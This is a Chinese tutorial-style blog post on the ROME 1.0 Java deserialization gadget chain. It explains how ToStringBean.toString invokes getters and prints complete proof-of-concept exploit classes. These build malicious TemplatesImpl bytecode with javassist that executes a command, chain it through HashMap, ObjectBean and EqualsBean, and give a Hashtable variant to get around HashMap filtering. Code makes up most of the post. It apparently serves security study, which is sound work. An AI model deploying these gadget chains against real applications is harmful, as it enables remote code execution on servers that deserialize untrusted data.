前置知识
ROME是什么:
它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。
他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。
依赖
1
2
3
4
5
6
7
|
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
|
第一条链子
链子尾部
关键就是ROME中自带的ToStringBean类中的toString方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
|
<font style="color:rgb(221, 17, 68);">PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);</font>
其实和JavaBean中调用getter的方法类似,而下面for循环就是对pds(取到的getter方法)进行反射调用。
所以这里我们就可以通过ToStringBean类的toString方法来调用getOutputProperties方法,这里我们可以发现有两个参数:
<font style="color:rgb(221, 17, 68);">this._beanClass</font>
和<font style="color:rgb(221, 17, 68);">this._obj</font>
,根据参数的名我们就可以知道beanClass是javaBean类型的class,obj就是我们要传入的实例化的Templateslmpl类对象
刚好这两个在构造函数里

1
|
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
|
加上动态加载恶意类的链子就是这条链的尾部
验证代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_name", "aaa");
//javassist生成恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("evilevil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor constructor = CtNewConstructor.make("public evilevil(){Runtime.getRuntime().exec(\"calc\");}",ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
//byte[] bytecode = Files.readAllBytes(Paths.get("E:\\javawork\\timu\\src\\main\\java\\CISCN2023DeserBug\\evil.class"));
byte[][] codes = {bytes};
SetValue(templates, "_bytecodes", codes);
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
toStringBean.toString();
}
private static void SetValue(Object obj, String name, Object value) throws Exception{
Class cls = obj.getClass();
Field field = cls.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
|

成功利用
链子首部
这里直接看其他师傅的利用链
hashmap#readObject() -> ObjectBean#hashcode() -> EqualsBean#beanHashCode() -> ToStringBean#toString()
跟链子走一遍,灰常简单,就是注意hashmap.put那里在序列化的时候会进入链子,所以需要给个假的,再反射换成真的
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
package poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class poc {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_name", "aaa");
//javassist生成恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("evilevil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor constructor = CtNewConstructor.make("public evilevil(){Runtime.getRuntime().exec(\"calc\");}",ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
//byte[] bytecode = Files.readAllBytes(Paths.get("E:\\javawork\\timu\\src\\main\\java\\CISCN2023DeserBug\\evil.class"));
byte[][] codes = {bytes};
SetValue(templates, "_bytecodes", codes);
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(objectBean,"123");
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templates);
serialize(hashMap);
unserialize("ser.bin");
}
private static void SetValue(Object obj, String name, Object value) throws Exception{
Class cls = obj.getClass();
Field field = cls.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|
流程
1
2
3
4
5
6
7
8
9
|
ObjectInputStream.readObject
HashMap.readObject
HashMap.put
HashMap.hash
ObjectBean.hashCode
EqualsBean.beanHashCode
ToStringBean.toString
TrAXFilter.TrAXFilter
//后面就是动态加载恶意类的链子了
|
另一条链子
如果说对hashmap类做了过滤,这里能够用HashTable绕过
cc7的链子刚好就是用的HashTable,不过链子好像不同
Hashtable.readObject

这个函数里调用了hashCode方法

和上面的后面链子接上去了

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
package poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class SecondPoc {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_name", "aaa");
//javassist生成恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("evilevil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor constructor = CtNewConstructor.make("public evilevil(){Runtime.getRuntime().exec(\"calc\");}",ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
byte[][] codes = {bytes};
SetValue(templates, "_bytecodes", codes);
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");
// serialize(hashtable);
unserialize("ser.bin");
}
private static void SetValue(Object obj, String name, Object value) throws Exception{
Class cls = obj.getClass();
Field field = cls.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|
流程
1
2
3
4
5
6
7
|
Hashtable.readObject
Hashtable.reconstitutionPut
objectBean.hashCode
EqualsBean.beanHashCode
ToStringBean.toString
TrAXFilter.TrAXFilter
//后面就是动态加载恶意类的链子了
|